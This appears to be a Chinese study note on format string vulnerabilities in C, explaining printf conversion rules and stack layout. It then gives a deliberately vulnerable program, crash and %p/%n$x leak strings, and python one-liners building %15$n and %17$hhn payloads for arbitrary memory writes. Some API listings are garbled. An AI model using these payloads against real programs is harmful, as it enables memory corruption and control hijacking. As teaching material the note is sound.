格式化字符串原理
格式化输出函数
变参函数:函数参数数量可以改变的函数,由至少一个强制参数与数量可变的可选参数组成
可选参数的数量由强制参数的值或者从来定义可选参数的列表的特殊值决定,比如printf函数,其强制参数为格式化字符串。
其中一类变参函数获的可选参数时,需通过va_list参数指针,其包含至少一个参数的位置。被定义在stdarg.h
格式化出输出API
#include"stdio.h"
int printf(const char *format,...); #输出流stdout
int fprintf(FILE* stream,const char *format,...); #输出写入流,未指定
int dprintf(int fd,const char *format,...); #输出写入fd
int sprintf(char *str,const char *format,...); #输出写入数组,末尾加空字符
int snprintf(char *str,size_t size,const char *format,...); #在sprintf限定写入的字符最大size
# include"stdarg.h"
int vprintf(const char*format,va_list ap);
int vfprintf(FILE *stream,const char*format,va_list ap);
int dprintf(int fd,const char *format,va_list ap);
int sprintf(char *str,const char *format,va_list ap);
int snprintf(char *str,size_t size,const char *format,va_list ap);
转换规则
%[parameter][flags][width][.precision][length]type
- parameter:POSIX扩展,用于指定某个参数,如%2$d
- flags:调节输出的符号,空白,大小
- width:值输出字符最小个数
- .precision:符号个数,有效位
- length:指定参数的大小
参数 含义 传递方式
------------------------------------------
%d 十进制 (int) 传值
%u 无符号十进制 (unsigned int) 传值
%x 十六集进制 (unsigned int) 传值
%s 字符串 ((const) (unsigned) char *) 传址
%n 目前为止写入的字符数 (* int) 传址
hh 1-byte char
h 2-byte short int
l 4-byte long int
ll 8-byte long long int
格式化字符串漏洞
漏洞论文
Exploiting Format String Vulnerabilities
已下是论文中的例子,也就是只有可变参数的情况下可能产生问题。
已下语句是后在编译时被转译替代,\x25为%
printf ("The magic number is: \x25d\n", 23);
printf函数视角下的栈帧分布。
缓解防护
FORTIFY_SOURCE与FormatGuard: Automatic Protection From printf Format String
Vulnerabilities
基本原理
cdecl的调用约定是参数从右开始压入栈
解析方式:类似栈顶记住格式,依次向下解析。
可控格式化字符串,进而控制可选参数
漏洞利用
是程序崩溃:可用于验证漏洞
printf("%s%s%s%s%s%s%s");
在linux中存取无效的指针会使进程收到SIGSEGV的信息,产生core dumped
崩溃原因:%s将栈上数据当做指针,到空字符截止;栈数据不是地址;栈数据是受保护的地址
泄露栈数据
#include"stdio.h"
void main(){
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s",format);
printf(format,arg1,arg2,arg3,arg4);
printf("\n");
}
下面可以泄露格式化字符串后的第n个数据
%n$x
任意地址内存泄露
%s可以泄露栈数据指向的内容(当ASCII处理直到空字符),所以如果可以操纵栈数据为我们想要的地址,那就可以实现任意地址内存泄露。
这种可以泄露出格式化字符串后第4个栈数据指向的字符串,即ABCD
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
可以确定位于printf的15个位置可写入
已下是GOT表写入的例子
栈数据覆盖
#include"stdio.h"
void main(){
int i ;
printf("%10u%n\n",1,&i);
printf("%d\n",i);
printf("%.10u\n",1,&i);
printf("%d\n",i);
printf("%010u%n\n",1,&i);
printf("%d\n",i);
printf("%0134520860d%n",1,&i);
printf("%x\n",i); # i为0x0804a01c
}
已下是脚本的解释:首先是地址覆盖栈上,然后将对应位置的数据作为指针写入字符串的个数(0x20).
python -c 'print("\x88\xcf\xff\xff%08x%08x%012d%15$n")' > text #向arg2写入0x20 即printf格式化字符串后的第15参数的位置作为指针指向的地方写入
技巧在printf前后各下一个断点
任意地址内存覆盖
思考一个问题,如果按照下面的脚本,修改的话,仅地址就占据了4字节,那么无法实现4以下的覆写,但是地址不一定放在开头
python -c 'print("\x88\xcf\xff\xff%08x%08x%012d%15$n")' > text #向arg2写入0x20 即printf格式化字符串后的第15参数的位置作为指针指向的地方写入
考虑写入数字时,要考虑地址对齐,下图中的脚本之所以是17是因为地址前面有8个字节,32位下正好两个参数
python -c 'print("a%17$hhn\x88\xcf\xff\xff")' > text